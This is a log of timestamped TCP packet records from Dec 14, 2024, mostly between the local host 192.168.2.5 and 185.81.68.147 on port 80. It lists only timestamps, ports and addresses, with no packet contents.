Dec 14, 2024 14:56:34.636686087 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.637574911 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.637695074 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.637779951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.638861895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.638964891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.640064001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.640114069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.640166998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.641170979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.641223907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.641239882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.641268969 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.642327070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.642467022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.642532110 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.643503904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.643558979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.643623114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.644764900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.644923925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.645358086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.645885944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.646006107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.646456003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.647072077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.647157907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.647247076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.648216009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.648354053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.648447037 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.649413109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.649542093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.649601936 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.650625944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.650758982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.651822090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.651875019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.651876926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.652070999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.652966976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.653070927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.653127909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.654156923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.654280901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.654592991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.655345917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.655435085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.655498981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.656493902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.656639099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.657048941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.657695055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.657803059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.657886982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.658869028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.659034967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.659110069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.660079956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.660192013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.660429001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.661432028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.661585093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.661645889 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.662736893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.662916899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.663727999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.664064884 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.664261103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.664319038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.665225983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.665322065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.665407896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.666323900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.666445017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.666503906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.667376041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.667522907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.667596102 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.668342113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.668500900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.668560028 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.669512033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.669635057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.670375109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.670824051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.670959949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.671021938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.671907902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.672008038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.672065020 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.673060894 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.673197031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.673265934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.674278975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.674443007 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.674552917 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.675487041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.675652981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.675713062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.676649094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.676794052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.676863909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.677838087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.677972078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.678030014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.679002047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.679160118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.679220915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.680378914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.680521011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.681216002 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.681555986 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.681617975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.681678057 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.682543039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.682595015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.682671070 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.683731079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.683908939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.683978081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.684895992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.685024977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.685087919 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.686094046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.686234951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.686294079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.687274933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.687397003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.687458038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.688441992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.688565016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.688635111 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.689709902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.689815998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.689877033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.690917969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.691040039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.691102982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.692019939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.692116976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.692184925 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.693309069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.693577051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.693645954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.694351912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.694508076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.694648981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.695636034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.695688009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.695981026 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.696724892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.696846008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.696907043 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.697910070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.714113951 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.820924997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.827974081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.828061104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.828183889 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.828453064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.828633070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.828700066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.829737902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.829791069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.829909086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.830848932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.831044912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.831144094 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.832314968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.832353115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.832496881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.833442926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.833494902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.833564997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.834496975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.834578037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.834652901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.835572958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.835717916 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.835783005 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.836781979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.836976051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.837090969 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.838009119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.838097095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.838176012 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.839093924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.839220047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.839279890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.840286970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.840353012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.840527058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.841521978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.841634989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.841708899 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.842643023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.842698097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.842791080 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.843806028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.843962908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.844017982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.844995022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.845097065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.845154047 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.846241951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.846349001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.846401930 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.847541094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.847568035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.847626925 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.848535061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.848661900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.848742962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.849718094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.849826097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.849881887 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.850997925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.851102114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.851180077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.852127075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.852263927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.852325916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.853286982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.853398085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.853508949 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.854465008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.854592085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.854640007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.855632067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.855782032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.855855942 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.856839895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.856962919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.857139111 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.858004093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.858128071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.858184099 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.859173059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.859292984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.859375954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.860680103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.860790014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.860840082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.862076044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.862370968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.862586975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.863401890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.863492966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.863548994 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.864383936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.864475965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.864562035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.865268946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.865330935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.865387917 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.866303921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.866489887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.866539001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.867480040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.867597103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.867646933 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.868670940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.868761063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.869818926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.869874954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.869929075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.871036053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.871092081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.871115923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.871169090 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.872206926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.872309923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.872364998 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.873384953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.873465061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.873656988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.874558926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.874666929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.874735117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.876013041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.876122952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.876183987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.876945972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.877084017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.877140999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.878118038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.878252029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.878314018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.879355907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.879467010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.879543066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.880507946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.880614042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.880696058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.881668091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.881759882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.881814957 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.882961988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.883091927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.883151054 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.884290934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.884362936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.884454966 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.885216951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.885348082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.885421038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.886408091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.886540890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.886596918 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.887577057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.887762070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.887820005 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.888787985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.888948917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.889003038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.890010118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.020047903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.020092010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.020227909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.020482063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.020629883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.020675898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.021961927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.022016048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.022149086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.022799969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.022872925 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.022943020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.023953915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.024019003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.024076939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.025158882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.025214911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.025388002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.026360035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.026412010 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.026412964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.027503967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.027563095 CET	49888	80	192.168.2.5	185.81.68.147
